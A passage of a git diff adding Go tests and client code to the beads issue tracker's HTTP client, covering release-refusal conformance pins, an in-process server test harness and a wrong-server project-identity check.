newServedReleaserFixture(t, "hrl6")) +} + +func TestServedReleaserRefusesAnAbsentID(t *testing.T) { + conformance.RunReleaserRefusesAnAbsentID(t, t.Context(), newServedReleaserFixture(t, "hrl7")) +} + +func TestServedReleaserAttributesTheReleaseToTheActor(t *testing.T) { + conformance.RunReleaserAttributesTheReleaseToTheActor(t, t.Context(), newServedReleaserFixture(t, "hrl8")) +} + +func TestServedReleaserRecordsExactlyOneHistoryEntry(t *testing.T) { + conformance.RunReleaserRecordsExactlyOneHistoryEntry(t, t.Context(), newServedReleaserFixture(t, "hrl9")) +} + +// TestServedReleaserReleasesAWispClaimWithoutVersioning is the case that can +// tell the storage legs apart, and it runs here for a reason worth naming: an +// ephemeral release writes a row and changes no versioned table, so a server +// that read the empty table set as "nothing happened" would roll the write back +// and answer this client a wisp that is still claimed. +func TestServedReleaserReleasesAWispClaimWithoutVersioning(t *testing.T) { + conformance.RunReleaserReleasesAWispClaimWithoutVersioning(t, t.Context(), newServedReleaserFixture(t, "hrl10")) +} + +func TestServedReleaserDoesNotMutateTheCallerRequest(t *testing.T) { + conformance.RunReleaserDoesNotMutateTheCallerRequest(t, t.Context(), newServedReleaserFixture(t, "hrl11")) +} + +// TestServedReleaseAnswersTheUnheldRowAsNotReleasable is L-release-notclaimed's +// pin, and it RUNS. +// +// THREE CLAUSES, and only the first is the divergence. The unheld row is refused +// with ErrNotReleasable rather than ErrNotClaimed — the wider of the two the +// server merges — which is what the ledger row is about. The other two are the +// promises that must NOT have moved with it: nothing is written, so the row and +// its version are exactly as they were, and the CONDITIONAL path still answers +// ErrAssigneeMismatch, because that refusal has a code of its own and never fell +// into the merge. +// +// The third clause is the one that makes this pin worth more than the park it +// replaces: a client that had reported every release refusal as one sentinel +// would pass a two-clause version of this test and fail here. +func TestServedReleaseAnswersTheUnheldRowAsNotReleasable(t *testing.T) { + env := newServedEnv(t, "hrlp1") + releaser, err := env.subject.Releaser() + if err != nil { + t.Fatalf("Releaser(): %v", err) + } + ctx := t.Context() + + id := env.prefix + "-unheld" + if err := env.createIssue(ctx, &types.Issue{ + ID: id, Title: "unheld", Status: types.StatusOpen, Priority: 2, IssueType: types.TypeTask, + }, "seed"); err != nil { + t.Fatalf("seed %s: %v", id, err) + } + _, _, version := servedRow(t, ctx, env, id) + + for _, tc := range []struct { + name string + request issueops.ReleaseRequest + want error + }{ + {"unconditional", issueops.ReleaseRequest{Actor: "holder", IssueID: id}, issueops.ErrNotReleasable}, + {"forced", issueops.ReleaseRequest{Actor: "reaper", IssueID: id, Force: true}, issueops.ErrNotReleasable}, + {"conditional", issueops.ReleaseRequest{ + Actor: "supervisor", IssueID: id, ExpectedAssignee: strptr("holder"), + }, issueops.ErrAssigneeMismatch}, + } { + t.Run(tc.name, func(t *testing.T) { + _, err := releaser.Release(ctx, tc.request) + if !errors.Is(err, tc.want) { + t.Fatalf("Release(%s) error = %v, want %v", tc.name, err, tc.want) + } + // The role's OTHER sentinel must not arrive: the merge is one + // direction, and a client that answered both would be inventing the + // distinction the wire refused to make. + if errors.Is(err, issueops.ErrNotClaimed) { + t.Errorf("Release(%s) answered ErrNotClaimed, which this wire cannot carry: "+ + "the code covers an unheld row and an unreleasable status alike", tc.name) + } + assertServedRow(t, ctx, env, id, "", types.StatusOpen, version) + }) + } +} + +// TestServedReleaseAnswersAForeignHolderAsAlreadyClaimed is L-release-notowner's +// pin, and it RUNS. +// +// The refusal is ErrAlreadyClaimed rather than ErrNotOwner — the divergence — +// and it arrives as a TYPED *issueops.ClaimConflictError naming the row, which +// is the part that survives whole: the wire leaves the id out because the +// request already said it, and the problem mapper puts it back. +// +// THE FORCED HALF IS WHAT MAKES THE REFUSAL FALSIFIABLE. A client that refused +// every foreign release would pass a refusal-only pin perfectly, and +// refusal-only coverage of a guarded write is half a test. The +// name-the-holder bypass is asserted too, on its own row, because the role +// offers TWO ways past the fence and a pin that checked one would let the other +// rot. +func TestServedReleaseAnswersAForeignHolderAsAlreadyClaimed(t *testing.T) { + env := newServedEnv(t, "hrlp2") + releaser, err := env.subject.Releaser() + if err != nil { + t.Fatalf("Releaser(): %v", err) + } + ctx := t.Context() + + const holder = "hrlp2-holder" + seed := func(name string) string { + t.Helper() + id := env.prefix + "-" + name + if err := env.createIssue(ctx, &types.Issue{ + ID: id, Title: name, Status: types.StatusInProgress, Assignee: holder, + Priority: 2, IssueType: types.TypeTask, + }, "seed"); err != nil { + t.Fatalf("seed %s: %v", id, err) + } + return id + } + + forced := seed("forced") + _, _, forcedVersion := servedRow(t, ctx, env, forced) + _, err = releaser.Release(ctx, issueops.ReleaseRequest{Actor: "stranger", IssueID: forced}) + if !errors.Is(err, issueops.ErrAlreadyClaimed) { + t.Fatalf("Release() by a stranger error = %v, want ErrAlreadyClaimed", err) + } + if errors.Is(err, issueops.ErrNotOwner) { + t.Errorf("Release() answered ErrNotOwner, which this wire cannot carry: the fence is spelled `already_claimed`") + } + var conflict *issueops.ClaimConflictError + if !errors.As(err, &conflict) { + t.Fatalf("Release() error = %v, want a typed *issueops.ClaimConflictError", err) + } + if conflict.IssueID != forced { + t.Errorf("the conflict names %q, want %q: the wire omits the id because the request said it, and the client puts it back", + conflict.IssueID, forced) + } + assertServedRow(t, ctx, env, forced, holder, types.StatusInProgress, forcedVersion) + + // Force bypasses the fence and nothing else. + result, err := releaser.Release(ctx, issueops.ReleaseRequest{Actor: "reaper", IssueID: forced, Force: true}) + if err != nil { + t.Fatalf("forced Release() error = %v", err) + } + if !result.Changed { + t.Error("Changed = false on a forced release that wrote the row") + } + assertServedRow(t, ctx, env, forced, "", types.StatusOpen, -1) + if _, _, after := servedRow(t, ctx, env, forced); after == forcedVersion { + t.Errorf("the forced release left row_version at %d; a release REMINTS the token, which is what makes a "+ + "concurrent reclaim or close conflict rather than silently merge", after) + } + + // The OTHER bypass: naming the holder replaces the fence, so an actor who is + // not the holder releases it without force. + named := seed("named") + if _, err := releaser.Release(ctx, issueops.ReleaseRequest{ + Actor: "supervisor", IssueID: named, ExpectedAssignee: strptr(holder), + }); err != nil { + t.Fatalf("Release() naming the holder error = %v, want the release to land", err) + } + assertServedRow(t, ctx, env, named, "", types.StatusOpen, -1) +} + +// servedRow reads one issue row RAW: its assignee, its status and its version. +// +// It reads through the reference store's own SQL handle rather than through the +// client, which is the whole point: "the refusal wrote nothing" is the one +// clause a role-answer assertion cannot check, because reading state back +// through the thing under test is exactly the check that passes on a corrupted +// table. +// +// THE VERSION IS THE `row_lock` COLUMN, which is what the contract's own +// releaserRowVersion reads and is COALESCEd for the same reason: a row that +// never took a guarded write carries NULL there, and a nil scan is a fixture +// failure rather than the answer the case wants. +// +// IT IS PART OF THE READ because it is part of the claim. Both pins +// below say a refused release leaves the row AND ITS VERSION untouched, and a +// row whose version moved is not untouched even when every column a reader looks +// at is unchanged: the holder's next compare-and-set would lose, for a reason +// nothing on the row explains. An assertion that stopped at assignee and status +// would have let exactly that through. +func servedRow(t *testing.T, ctx context.Context, env *servedEnv, id string) (assignee, status string, version int64) { + t.Helper() + if err := env.queryScalar(ctx, + "SELECT COALESCE(assignee, ''), status, COALESCE(row_lock, 0) FROM issues WHERE id = ?", []any{id}, + &assignee, &status, &version); err != nil { + t.Fatalf("read %s back raw: %v", id, err) + } + return assignee, status, version +} + +// assertServedRow holds a row to an expected assignee and status, and — when +// wantVersion is non-negative — to a version it must still be carrying. +func assertServedRow(t *testing.T, ctx context.Context, env *servedEnv, id, assignee string, status types.Status, wantVersion int64) { + t.Helper() + gotAssignee, gotStatus, gotVersion := servedRow(t, ctx, env, id) + if gotAssignee != assignee || gotStatus != string(status) { + t.Errorf("row %s = assignee %q status %q, want %q / %q", id, gotAssignee, gotStatus, assignee, status) + } + if wantVersion >= 0 && gotVersion != wantVersion { + t.Errorf("row %s moved to version %d, want %d: a refused release leaves the row AND ITS VERSION untouched, "+ + "and a version that moved makes the holder's next compare-and-set lose for a reason nothing on the row explains", + id, gotVersion, wantVersion) + } +} + +func strptr(s string) *string { return &s } diff --git a/internal/httpclient/served_test.go b/internal/httpclient/served_test.go new file mode 100644 index 000000000..5bc182b82 --- /dev/null +++ b/internal/httpclient/served_test.go @@ -0,0 +1,382 @@ +//go:build cgo + +// Contributed by gascity from bd-enterprise (internal/enterprise/httpstore/served_test.go@49d1df2f6) +// to OSS beads under the MIT license. + +package httpclient + +import ( + "context" + "errors" + "fmt" + "io" + "net/url" + "os" + "path/filepath" + "sync" + "testing" + + "github.com/steveyegge/beads/internal/httpapi" + "github.com/steveyegge/beads/internal/httpapi/apigen" + "github.com/steveyegge/beads/internal/httpclient/wire" + "github.com/steveyegge/beads/internal/storage" + "github.com/steveyegge/beads/internal/storage/embeddeddolt" + "github.com/steveyegge/beads/internal/types" +) + +// The served-surface composition: the http client, a real in-process `bd serve`, +// and the embedded-Dolt reference store the server serves. +// +// This is the shape composition_test.go specifies, stood up. Behavior parity for +// this backend cannot be proved by bare RunAll — its Factory contract wants a +// write-ready store and its cases seed through raw CreateIssue/SetConfig, both of +// which this backend refuses — so the per-role fixture contracts are run instead, +// with their SEED HANDLES BOUND TO THE REFERENCE STORE and only the subject role +// bound to the client. A fixture that seeded through the client would prove the +// client agrees with itself. +// +// ONE STORE AND ONE SERVER FOR THE WHOLE PACKAGE, which is the unit-of-work +// wiring's arrangement rather than the embedded one's. Every contract case here +// scopes its own query — by label, by exact id, or by a query expression naming +// its own label — precisely so several of them can share one database, and a +// store per case would cost half a second each for nothing. It also makes the +// composition harder rather than easier: a filter this client dropped would come +// back carrying another case's rows. + +// servedIssuePrefix is the id namespace every fixture below sub-namespaces. It +// is not the workspace's `issue_prefix`, which the reference store sets for +// itself; explicit-id creates do not check one against the other. +const servedIssuePrefix = "http" + +type servedComposition struct { + // reference is the store the server serves. It is the seed handle and the + // dual-run oracle, and it is NEVER the subject of a contract. + reference *embeddeddolt.EmbeddedDoltStore + dataDir string + database string + baseURL string + // client is the http store under test. + client *Store +} + +var ( + compositionOnce sync.Once + compositionEnv *servedComposition + compositionErr error + compositionStop func() +) + +// TestMain owns the composition's lifetime: one embedded database and one bound +// listener for the package, torn down after the last case. +func TestMain(m *testing.M) { + code := m.Run() + if compositionStop != nil { + compositionStop() + } + os.Exit(code) +} + +func composition(t *testing.T) *servedComposition { + t.Helper() + compositionOnce.Do(func() { compositionEnv, compositionStop, compositionErr = startServedComposition() }) + if compositionErr != nil { + t.Fatalf("stand up the served composition: %v", compositionErr) + } + return compositionEnv +} + +func startServedComposition() (*servedComposition, func(), error) { + ctx := context.Background() + root, err := os.MkdirTemp("", "httpstore-served-") + if err != nil { + return nil, nil, err + } + cleanups := []func(){func() { _ = os.RemoveAll(root) }} + stop := func() { + for i := len(cleanups) - 1; i >= 0; i-- { + cleanups[i]() + } + } + fail := func(err error) (*servedComposition, func(), error) { + stop() + return nil, nil, err + } + + const database = "httpstore" + beadsDir := filepath.Join(root, ".beads") + reference, err := embeddeddolt.Open(ctx, beadsDir, database, "main") + if err != nil { + return fail(fmt.Errorf("open the embedded reference store: %w", err)) + } + cleanups = append(cleanups, func() { _ = reference.Close() }) + if err := reference.SetConfig(ctx, "issue_prefix", servedIssuePrefix); err != nil { + return fail(fmt.Errorf("identify the reference workspace: %w", err)) + } + if err := reference.Commit(ctx, "bd init"); err != nil { + return fail(fmt.Errorf("commit the reference workspace: %w", err)) + } + + cfg, err := serveRoles(reference) + if err != nil { + return fail(err) + } + cfg.Addr = "127.0.0.1:0" + cfg.Stdout = io.Discard + cfg.Stderr = io.Discard + srv, err := httpapi.Listen(cfg) + if err != nil { + return fail(fmt.Errorf("bind the in-process bd serve: %w", err)) + } + serveCtx, cancelServe := context.WithCancel(context.Background()) + done := make(chan struct{}) + go func() { defer close(done); _ = srv.Serve(serveCtx) }() + cleanups = append(cleanups, func() { cancelServe(); <-done }) + + base, err := url.Parse("http://" + srv.Addr()) + if err != nil { + return fail(err) + } + transport, err := wire.New(base, nil, wire.Options{}) + if err != nil { + return fail(fmt.Errorf("build the wire client: %w", err)) + } + + return &servedComposition{ + reference: reference, + dataDir: filepath.Join(beadsDir, "embeddeddolt"), + database: database, + baseURL: base.String(), + client: New(Target{BaseURL: base}, servedWire{transport}, nil), + }, stop, nil +} + +// serveRoles takes the whole role set off the reference store's own accessors. +// +// httpapi.Listen requires ALL of them together — a server missing one would +// bind, answer every other route, and fail that one with a nil dereference on a +// live server — and it refuses a hook-firing role. These come off a raw store +// with no decorators, so there is nothing to unwrap. +func serveRoles(store storage.DoltStorage) (httpapi.Config, error) { + var cfg httpapi.Config + var err error + if cfg.Reader, err = store.IssueReader(); err != nil { + return cfg, err + } + if cfg.Claimer, err = store.IssueClaimer(); err != nil { + return cfg, err + } + if cfg.ReadyClaimer, err = store.ReadyClaimer(); err != nil { + return cfg, err + } + if cfg.Releaser, err = store.Releaser(); err != nil { + return cfg, err + } + if cfg.Lifecycle, err = store.IssueLifecycle(); err != nil { + return cfg, err + } + if cfg.Settings, err = store.WorkspaceConfig(); err != nil { + return cfg, err + } + if cfg.Stats, err = store.StatsReporter(); err != nil { + return cfg, err + } + if cfg.CycleDetector, err = store.CycleDetector(); err != nil { + return cfg, err + } + if cfg.EdgeReader, err = store.EdgeReader(); err != nil { + return cfg, err + } + if cfg.GraphCounter, err = store.GraphCounter(); err != nil { + return cfg, err + } + if cfg.Relations, err = store.IssueRelations(); err != nil { + return cfg, err + } + if cfg.Commenter, err = store.Commenter(); err != nil { + return cfg, err + } + if cfg.BlockingAnnotator, err = store.BlockingAnnotator(); err != nil { + return cfg, err + } + if cfg.TreeWalker, err = store.TreeWalker(); err != nil { + return cfg, err + } + if cfg.ReadyCounter, err = store.ReadyCounter(); err != nil { + return cfg, err + } + if cfg.Counter, err = store.Counter(); err != nil { + return cfg, err + } + if cfg.Querier, err = store.Querier(); err != nil { + return cfg, err + } + if cfg.Sweeper, err = store.Sweeper(); err != nil { + return cfg, err + } + if cfg.Deleter, err = store.Deleter(); err != nil { + return cfg, err + } + if cfg.BatchCreator, err = store.BatchCreator(); err != nil { + return cfg, err + } + if cfg.BatchCloser, err = store.BatchCloser(); err != nil { + return cfg, err + } + if cfg.DependencyEditor, err = store.DependencyEditor(); err != nil { + return cfg, err + } + if cfg.MetadataCAS, err = store.MetadataCAS(); err != nil { + return cfg, err + } + if cfg.BatchApplier, err = store.BatchApplier(); err != nil { + return cfg, err + } + if cfg.Memories, err = store.Memories(); err != nil { + return cfg, err + } + if cfg.BatchGetter, err = store.BatchGetter(); err != nil { + return cfg, err + } + return cfg, nil +} + +// servedWire adapts *wire.Client onto the store's transport seam. +// +// It exists here rather than in the package because the production adapter is +// the ACTIVATION path's — `bd connect` resolves a target, builds the credential +// ladder and registers the dialer — and inventing half of it here would be a +// second wiring for that bead to reconcile. What the seam actually needs from +// the transport is Preflight and Do, and *wire.Client satisfies both verbatim; +// only the handshake accessor is shaped differently, because the store caches +// the ContextResponse and the client caches the gated Snapshot around it. +type servedWire struct{ *wire.Client } + +func (w servedWire) ServerContext(ctx context.Context) (*apigen.ContextResponse, error) { + snap, err := w.Client.Handshake(ctx) + if err != nil { + return nil, err + } + return &snap.Context, nil +} + +// tamperedClient is a second client onto the same server whose outbound +// requests are rewritten on the way out. +// +// It exists to produce RED evidence: a composition that could not tell a +// correctly encoded request from a subtly wrong one would pass every test in +// this package while shipping a client that answers the wrong question. The +// tamper runs after the encoder and before the transport, which is exactly +// where a hand-written encoder's mistakes live. +func (c *servedComposition) tamperedClient(t *testing.T, tamper func(*wire.Request)) *Store { + t.Helper() + base, err := url.Parse(c.baseURL) + if err != nil { + t.Fatalf("parse the composition base URL: %v", err) + } + transport, err := wire.New(base, nil, wire.Options{}) + if err != nil { + t.Fatalf("build a second wire client: %v", err) + } + return New(Target{BaseURL: base}, tamperedWire{WireClient: servedWire{transport}, tamper: tamper}, nil) +} + +type tamperedWire struct { + WireClient + tamper func(*wire.Request) +} + +func (w tamperedWire) Do(ctx context.Context, req wire.Request, out any) error { + w.tamper(&req) + return w.WireClient.Do(ctx, req, out) +} + +// seedIssue is the seed handle every fixture binds: the REFERENCE store's own +// create, never the client's. The client refuses CreateIssue outright, so this +// is not merely a convention here — it is the only thing that can seed at all. +func (c *servedComposition) seedIssue(ctx context.Context, issue *types.Issue, actor string) error { + return c.reference.CreateIssue(ctx, issue, actor) +} + +func (c *servedComposition) seedDependency(ctx context.Context, dep *types.Dependency, actor string) error { + return c.reference.AddDependencyWithOptions(ctx, dep, actor, storage.DependencyAddOptions{EmitEvent: true}) +} + +func (c *servedComposition) seedComment(ctx context.Context, issueID, author, text string) error { + _, err := c.reference.AddIssueComment(ctx, issueID, author, text) + return err +} + +// queryScalar is the composition's raw-row hook: a single-row query against the +// REFERENCE store, which is where the rows a contract seeded actually live. +// +// It opens its own SQL handle per call, exactly as the per-case harness does +// (served_harness_test.go states the measurement): a handle held for the life of +// the composition and a live server on the same database deadlock, and the +// symptom is a hung run rather than a failing one. +// +// It exists because a count or a listing cannot tell a row it EXCLUDED from a +// row that was never seeded — both surfaces hide it — so the cases that assert +// an exclusion read the stored row directly. +func (c *servedComposition) queryScalar(ctx context.Context, query string, args []any, dest ...any) error { + db, cleanup, err := embeddeddolt.OpenSQL(ctx, c.dataDir, c.database, "main") + if err != nil { + return err + } + defer func() { _ = cleanup() }() + return db.QueryRowContext(ctx, query, args...).Scan(dest...) +} + +// countHistory reads the reference branch's commit log. The client cannot +// observe history at all — v0 publishes no history surface — so the +// writes-nothing cases would otherwise skip themselves, which is the one thing +// they exist to prevent. +func (c *servedComposition) countHistory(ctx context.Context) (int, error) { + var entries int + if err := c.queryScalar(ctx, "SELECT COUNT(*) FROM dolt_log", nil, &entries); err != nil { + return 0, err + } + return entries, nil +} + +// fixture binds the composition into the shell's servedFixture shape, which +// re-checks the one invariant that cannot be read off a wiring later: the seed +// handle is not the subject. +func (c *servedComposition) fixture(t *testing.T) servedFixture { + t.Helper() + return newServedFixture(t, c.reference, c.client, c.baseURL) +} + +// bind is how every case below reaches its role: through servedFixture.bindRole, +// which returns the accessor's error UNCHANGED. A contract wired before its role +// bead lands therefore FAILS rather than skips — refusals are owned by +// RunUnsupportedContract, not by skipped conformance cases. +func bindRole[T any](t *testing.T, f servedFixture, accessor func(*Store) (T, error)) T { + t.Helper() + var role T + if err := f.bindRole(func(s *Store) error { + var err error + role, err = accessor(s) + return err + }); err != nil { + t.Fatalf("binding the role against the http client: %v", err) + } + return role +} + +// assertServedRefusal is the shape a parked case's refusal must still have: the +// contract cannot run, but the REFUSAL is itself a promise — it names a field, +// it classifies as unsupported, and it is not a silent drop. +func assertServedRefusal(t *testing.T, what string, err error, field string) { + t.Helper() + var unsup *storage.ErrUnsupported + if !errors.As(err, &unsup) { + t.Fatalf("%s = %v, want a typed *storage.ErrUnsupported", what, err) + } + var inexpressible *InexpressibleError + if !errors.As(err, &inexpressible) { + t.Fatalf("%s = %v, want an *InexpressibleError carrying its ledger row", what, err) + } + if inexpressible.Refused.Row.Field != field { + t.Errorf("%s refused over %q, want the refusal to name %q", what, inexpressible.Refused.Row.Field, field) + } +} diff --git a/internal/httpclient/served_wrong_server_test.go b/internal/httpclient/served_wrong_server_test.go new file mode 100644 index 000000000..8afee1077 --- /dev/null +++ b/internal/httpclient/served_wrong_server_test.go @@ -0,0 +1,135 @@ +//go:build cgo + +// Contributed by gascity from bd-enterprise (internal/enterprise/httpstore/served_wrong_server_test.go@49d1df2f6) +// to OSS beads under the MIT license. + +package httpclient + +import ( + "errors" + "testing" + + "github.com/steveyegge/beads/internal/httpclient/wire" + "github.com/steveyegge/beads/internal/types" + "github.com/steveyegge/beads/issueops" +) + +// The wrong-server security case, run through client → in-process bd serve → +// reference store, with the client's ExpectProjectID armed. +// +// This is the test that would have caught ga-b8ddd.11: before the fix, claimIssue +// sat in the client's baseline set, so a claim dispatched WITHOUT the handshake +// and its project-identity gate. A workspace whose server identity had drifted +// after connect would then land a claim on ANOTHER project's row — a silent +// cross-project write. Removing claimIssue from baselineOps forces the handshake +// first, so the claim now refuses before it writes. + +// TestServedClaimRefusesAWrongServerBeforeWriting is the headline. The client +// expects one project; the server owns another; the claim must refuse with the +// typed mismatch and leave the target row byte-for-byte unchanged. +func TestServedClaimRefusesAWrongServerBeforeWriting(t *testing.T) { + const expected = "proj-workspace-not-this-server" + env := newServedEnvExpecting(t, "hws1", expected) + ctx := t.Context() + + claimer, err := env.subject.IssueClaimer() + if err != nil { + t.Fatalf("IssueClaimer(): %v", err) + } + + const target = "hws1-1" + seedServedIssue(t, ctx, env, target, types.StatusOpen) + + before, err := env.getIssue(ctx, target) + if err != nil { + t.Fatalf("read the seeded row: %v", err) + } + historyBefore, err := env.countHistory(ctx) + if err != nil { + t.Fatalf("count history before: %v", err) + } + + _, claimErr := claimer.Claim(ctx, issueops.ClaimRequest{Actor: "alice", IssueID: target}) + if claimErr == nil { + t.Fatal("claim against a wrong-identity server SUCCEEDED; this is the silent cross-project write ga-b8ddd.11 fixes") + } + if !errors.Is(claimErr, wire.ErrProjectMismatch) { + t.Fatalf("claim refused with %v, want ErrProjectMismatch", claimErr) + } + var mismatch *wire.ProjectMismatchError + if !errors.As(claimErr, &mismatch) { + t.Fatalf("claim error is %T, want *wire.ProjectMismatchError", claimErr) + } + if mismatch.Expected != expected { + t.Errorf("mismatch.Expected = %q, want the workspace's %q", mismatch.Expected, expected) + } + if mismatch.Got != servedProjectID { + t.Errorf("mismatch.Got = %q, want the server's %q", mismatch.Got, servedProjectID) + } + + // The whole point: nothing was written. The row is exactly as seeded and the + // history did not grow, so the refusal happened before the claim dispatched. + after, err := env.getIssue(ctx, target) + if err != nil { + t.Fatalf("re-read the target row: %v", err) + } + if after.Status != types.StatusOpen { + t.Errorf("target status = %q, want it still %q — the refused claim wrote", after.Status, types.StatusOpen) + } + if after.Assignee != before.Assignee { + t.Errorf("target assignee = %q, want the seeded %q — the refused claim wrote", after.Assignee, before.Assignee) + } + historyAfter, err := env.countHistory(ctx) + if err != nil { + t.Fatalf("count history after: %v", err) + } + if historyAfter != historyBefore { + t.Errorf("history grew from %d to %d; the refused claim wrote a server-side entry", historyBefore, historyAfter) + } +} + +// TestServedClaimSucceedsAgainstTheMatchingServer is the other direction: the +// forced handshake must NOT over-refuse. With the client pinned to the identity +// the server publishes, the claim lands and the server records it. +func TestServedClaimSucceedsAgainstTheMatchingServer(t *testing.T) { + env := newServedEnvExpecting(t, "hws2", servedProjectID) + ctx := t.Context() + + claimer, err := env.subject.IssueClaimer() + if err != nil { + t.Fatalf("IssueClaimer(): %v", err) + } + + const target = "hws2-1" + seedServedIssue(t, ctx, env, target, types.StatusOpen) + historyBefore, err := env.countHistory(ctx) + if err != nil { + t.Fatalf("count history before: %v", err) + } + + res, err := claimer.Claim(ctx, issueops.ClaimRequest{Actor: "alice", IssueID: target}) + if err != nil { + t.Fatalf("claim against the matching server: %v", err) + } + if !res.Changed { + t.Errorf("claim reported Changed=false, want the row to have been taken") + } + if res.Issue == nil || res.Issue.Assignee != "alice" || res.Issue.Status != types.StatusInProgress { + t.Fatalf("claim result = %+v, want alice holding an in-progress row", res.Issue) + } + + after, err := env.getIssue(ctx, target) + if err != nil { + t.Fatalf("re-read the claimed row: %v", err) + } + if after.Assignee != "alice" || after.Status != types.StatusInProgress { + t.Errorf("row after claim = {assignee %q, status %q}, want alice / in_progress", after.Assignee, after.Status) + } + historyAfter, err := env.countHistory(ctx) + if err != nil { + t.Fatalf("count history after: %v", err) + } + if historyAfter <= historyBefore { + t.Errorf("history did not grow (%d -> %d); the claim's server-side write did not land", historyBefore, historyAfter) + } +} diff --git a/internal/httpclient/servercontext.go b/internal/httpclient/servercontext.go new file mode 100644 index 000000000..0cdb9655e --- /dev/null +++ b/internal/httpclient/servercontext.go @@ -0,0 +1,29 @@ +// Contributed by gascity from bd-enterprise (internal/enterprise/httpstore/servercontext.go@49d1df2f6) +// to OSS beads under the MIT license. +package httpclient + +// ServerContext reports the three facts design D7's refusal taxonomy needs to +// name the server: the URL it speaks to, the release it is running, and the +// capability tokens it advertises. +// +// The typed sentinel carries the same three fields, so a refusal raised BY the +// store needs nothing from here. This exists for the refusals that are not +// sentinels — a 400 `unknown_parameter` comes back as a problem document, which +// carries the parameter and the URL but has no way to know the server's +// version — and for cmd/bd's pre-run checks, which have a store but no error. +// +// The version and capabilities are empty until the lazy handshake has run (D6); +// callers render the shorter half of their text rather than dialing to fill it, +// because a refusal that opens a connection to explain itself is worse than a +// refusal that says less. +func (s *Store) ServerContext() (serverURL, bdVersion string, capabilities []string) { + if s == nil { + return "", "", nil + } + serverURL = s.target.String() + snap := s.cachedSnapshot() + if snap == nil { + return serverURL, "", nil + } + return serverURL, snap.BdVersion, append([]string(nil), snap.Capabilities...) +} diff --git a/internal/httpclient/store.go b/internal/httpclient/store.go new file mode 100644 index 000000000..2b36e9744 --- /dev/null +++ b/internal/httpclient/store.go @@ -0,0 +1,199 @@ +// Contributed by gascity from bd-enterprise (internal/enterprise/httpstore/store.go@49d1df2f6) +// to OSS beads under the MIT license. +// Package httpstore is the enterprise client for the v0 `bd serve` wire: a +// storage.DoltStorage registered under the name "http" whose issueops role +// accessors speak HTTP to a remote server and whose every other method refuses +// with a typed sentinel. +// +// This package is the store skeleton — the mechanically generated refusing +// base, the sentinel, the benign local stubs and the registration glue. It +// issues no wire calls: transport and encoding live in sibling packages, and +// each role accessor here refuses until its role bead wires it. +// +// See the in-repo divergence ledger, engdocs/design/http-divergence-ledger.md, +// for every place this client's behavior knowingly differs from local mode. +package httpclient + +import ( + "context" + "errors" + "fmt" + "sync" + + "github.com/steveyegge/beads/internal/httpapi/apigen" + "github.com/steveyegge/beads/internal/storage" +) + +// Backend is the metadata.json backend identifier for this store. +const Backend = "http" + +// ErrNoTransport reports a binary that registered this backend without linking a +// wire client. It is a build-wiring fault, not a user's: the workspace and the +// server may both be fine. +var ErrNoTransport = errors.New("this build has no http transport linked") + +// Store is the http client backend. +type Store struct { + // unsupportedDoltStorage (generated, unsupported_gen.go) provides the + // storage.DoltStorage surface this backend refuses — the D8 allowlist v1, + // each method returning the typed sentinel. It is generated as the exact + // complement of this package's hand-written method set, so there is no + // ambiguous-selector overlap. + unsupportedDoltStorage + + target Target + wire WireClient + local *localMetadata + + // mu guards the lazily fetched handshake snapshot. D6 makes the context + // fetch lazy (first post-baseline dispatch) and cached for the process, so + // a store opened before any dispatch carries none. + mu sync.Mutex + ctxRes *apigen.ContextResponse + + // vocabularyCache memoizes the workspace's status and type vocabulary, which + // the `--parent` walk's derived-default inversion recognizes with + // (vocabulary.go). It is embedded rather than a field so the zero Store the + // refusal contract constructs stays usable. + vocabularyCache +} + +// Compile-time proof that the hand-written methods plus the generated shell +// cover the full storage seam: a skipped method this package does not +// actually implement is a missing method, and a method both implemented and +// stubbed is an ambiguous selector. +// +// S3 reconciliation (2026-10): OSS's storage package +// defines no storage.NonCommitGraphBackend or storage.RemoteWorkspaceBackend +// marker interface — those are bd-enterprise additions this client's lift +// carried over, with no OSS consumer anywhere (cmd/bd's PostRun and the +// pre-write identity check both run unconditionally here). The marker +// assertions and the CommitGraphUnsupported/WorkspaceMismatchRecovery methods +// behind them are removed rather than stubbed, since inventing the OSS +// interfaces here would assert a maintenance contract no OSS caller checks. +var _ storage.DoltStorage = (*Store)(nil) + +// New builds the store around an already-resolved target and transport. +// +// snapshot pre-seeds the handshake context, or is nil to let D6 fetch it lazily +// on the first post-baseline dispatch. The shipped core ALWAYS passes nil: open +// is the one production constructor, and connect — which does run a handshake — +// is a separate process that writes the sidecar and exits, so no in-process +// snapshot survives to the first command. It is the tests that pass one, to pin +// the server version or capability set a refusal renders without standing up a +// live handshake (see store_test.go and the cmd/bd refusal tests). It stays a +// constructor parameter rather than a private-field poke because those cmd/bd +// tests are in another package and cannot reach ctxRes. +// +// wire may be nil in tests that only exercise the refusal surface. +func New(target Target, wire WireClient, snapshot *apigen.ContextResponse) *Store { + return &Store{target: target, wire: wire, ctxRes: snapshot} +} + +// NewFromConfig opens the workspace read-write. It is the backends.Backend +// Open hook. +func NewFromConfig(ctx context.Context, beadsDir string) (storage.DoltStorage, error) { + return open(ctx, beadsDir) +} + +// NewReadOnlyFromConfig opens the workspace for a read-only command. +// +// It is the same store, WRITABLE, and that is the contract cmd/bd needs rather +// than a gap. backends.Backend has one read-only hook and cmd/bd opens two +// postures through it: the root pre-run opens every CLASSIFIED read command +// here — `bd ready --claim` among them, which claims through the store it is +// handed — and the non-mutating opens (previews, cross-repo hydration, doctor) +// open here too. The embedded arm splits the two (OpenForReadOnlyCommand stays +// writable, OpenReadOnly refuses), but a registered backend gets only this hook, +// so refusing writes here would break `bd ready --claim` on this backend. What +// keeps strict --readonly and a preview from writing here is cmd/bd's own +// chokepoints (CheckReadonly, the preview RunEs), and +// openNonMutatingStoreFromConfig names this arm as the exception to its +// refuses-writes invariant. TestReadOnlyOpenServesTheClaimBdReadyMakes pins it. +// +// The two hooks stay distinct because backends.Register requires both and +// because a later read-intent handshake belongs here rather than in a caller. +// The follow-up that closes the exception is a third backends.Backend hook, +// OpenNonMutating, for openNonMutatingStoreFromConfig to call: a preview or a +// doctor read would then get a store that refuses writes, while the classified +// reads keep this one. +func NewReadOnlyFromConfig(ctx context.Context, beadsDir string) (storage.DoltStorage, error) { + return open(ctx, beadsDir) +} + +func open(ctx context.Context, beadsDir string) (storage.DoltStorage, error) { + target, err := LoadTarget(beadsDir) + if err != nil { + return nil, err + } + if dialer == nil { + return nil, fmt.Errorf("%w: cannot dial %s", ErrNoTransport, target) + } + wire, err := dialer(ctx, target) + if err != nil { + return nil, err + } + s := New(target, wire, nil) + s.local = newLocalMetadata(beadsDir) + return s, nil 